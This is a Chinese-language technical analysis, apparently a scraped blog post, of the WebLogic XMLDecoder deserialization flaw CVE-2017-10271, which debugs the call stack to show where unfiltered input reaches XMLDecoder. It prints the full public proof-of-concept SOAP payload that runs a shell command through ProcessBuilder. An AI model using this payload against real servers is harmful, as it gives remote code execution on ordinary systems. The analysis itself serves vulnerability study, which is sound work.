12月22号,绿盟科技博客发布一篇文章,里面有说起到weblogic因为存在0day漏洞,致使被植入恶意软件用来挖掘比特币。后来通过确认,此次***者所用的漏洞CVE编号为CVE-2017-10271,那么这个漏洞到底是怎样形成的?java
咱们先来看一下,网上公布的poc进行利用后的weblogic返回的响应,公布的利用poc以下:web
<?xml version="1.0"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>gedit</string> </void> </array> <void method="start" /> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body /> </soapenv:Envelope>
以下图所示,能够看到返回的是xml数据,并且能够清晰的看到调用栈,调用栈在<ns2:frame />标签中bash
仔细分析weblogic返回的响应,咱们能够大概定位到问题点,咱们重点关注<ns2:frame />标签中class以weblogic开头的部分,这部分就是weblogic处理咱们请求的调用栈逻辑,weblogic处理完后就到了XMLDecoder
Step 1. 了解处理流程(为了方便查看,调用栈顺序为从上倒下)ide
Step 2.下断点调试
咱们将断点设置在weblogic.wsee.jaxws.workcontext.WorkContextServerTube的proce***equest方法中readHeaderOld,以下图所示函数
Step 3.调试运行,跟踪工具
var3的值有是var2调用get方法后得来的,咱们查看一下WorkAreaConstants.WORK_AREA_HEADER的内容,以下图所示ui
对比Poc内容与WorkAreaContants里面的XML_TAG、WORK_AREA_HEADER,咱们不难联想到var2.get方法是用来获取work:WorkContext标签之间的内容。编码
2.readHeaderOld中,咱们直接设置断点到weblogic调用栈最后一个函数WorkContextXmlInputAdapter,查看调用函数的参数值是什么?
能够看到,var4其实对应的是java标签内的代码.net
3.WorkContextXmlInputAdapter中,没有任何过滤就直接调用XMLDecoder方法,而XMLDecoder自己是用于将XML文件反序列成java的对象,于是形成的漏洞的发生。3d
归根结底,仍是weblogic犯了编码上的错误,彻底信任用户的输入,而后调用XMLDecoder进行反序列,致使了这个漏洞的发生。